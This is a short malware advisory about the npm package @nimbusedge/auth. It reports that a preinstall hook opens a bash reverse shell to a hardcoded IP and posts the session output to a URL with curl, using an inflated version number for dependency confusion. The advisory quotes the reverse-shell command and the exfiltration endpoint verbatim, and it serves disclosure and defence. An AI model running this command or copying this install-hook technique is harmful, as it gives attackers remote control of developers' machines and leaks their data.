MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)

package.json declares a preinstall lifecycle script that runs bash -i >& /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shell session over plain HTTP to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php via curl -X POST --data-binary @-. The script executes automatically on npm install, giving the remote endpoint interactive command execution on the installer's machine and beaconing session output to the hardcoded URL. The package is published under the scoped name @nimbusedge/auth at version 19999.0.6 — an artificially inflated version consistent with the dependency-confusion resolution pattern, causing internal resolvers configured against the public registry to fetch this artifact in place of a private package of the same name. The mechanism is identical to install-time remote code execution and data exfiltration regardless of any self-labeling in the package metadata.